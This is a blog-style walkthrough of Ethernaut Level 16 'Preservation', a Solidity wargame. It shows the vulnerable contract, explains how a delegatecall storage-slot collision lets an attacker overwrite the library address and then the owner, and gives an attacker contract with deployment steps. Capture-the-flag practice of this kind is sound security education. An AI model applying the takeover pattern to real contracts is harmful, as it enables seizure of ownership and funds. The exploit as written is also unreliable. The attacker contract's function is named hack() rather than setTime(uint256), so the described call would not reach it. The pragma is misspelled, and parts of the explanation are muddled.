BOOK THIS SPACE FOR AD
ARTICLE ADWe have done a blog for the Fallback Function Challenge by Openzepplin (a wargame by Openzepplin). I thought, why not write about some difficult challenges available there? So, Today I am going to write about Ethernaut Level 16 — Preservation.
If you are coming through all the challenges, you must have gained good knowledge about how delegatecall works and EVM storage structures.
Challenge:
This contract utilizes a library to store two different times for two different timezone. The constructor creates two instances of the library for each time to be stored.
The goal of this level is for you to claim ownership of the instance you are given.
//Preservation.sol// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
As per the objectives given in this challenge, we have to become the owner of the preservation contract.
Auditing Code:
To become the owner, we must exploit the constructor, but we know that’s not possible. There are two functions delegatecall to both timezonelibraries address and initalizing storedtime variable of preservation contract because delegatecall runs on the context of calling contract.
Notice that we have to provide a uint256 input for the timeZone1Library function. The vulnerability lies in the library contract. Let me explain how:
See, you can provide an input of type uint to both functions. We provide our contract address to save it in the timeZone1Library state variable, but how? The main vulnerability exists in the library contract where the owner state variable has the wrong storage layout, and the storedTime value will be updated in the timeZone1Library state variable.
The Hack:
Let’s create a malicious contract where we will be updating the owner state variable to our address in the preservation contract.
//Hack.solpragma solidty ^0.8.0;
contract PreservationHack{
address public timeZone1Library;
address public timeZone2Library;
address public owner;
function hack() external {
owner = msg.sender;
}
}
Deploy this contract on testnet and copy the contract address, then go to Prevention.sol and run the setFirstTime function by passing your deployed contract address. That is how you update the timeZone1Library state variable to your address because it is situated at slot 0.
Note: You can access the level16 contract by passing the level instance address to your remix ide.
Now run the setFirstTime function, providing a random uint integer argument. The function will delegate call to your smart contract address, and the owner variable will be updated to your address just after the transaction is confirmed. Now submit the instance back to ethernaut and complete the challenge.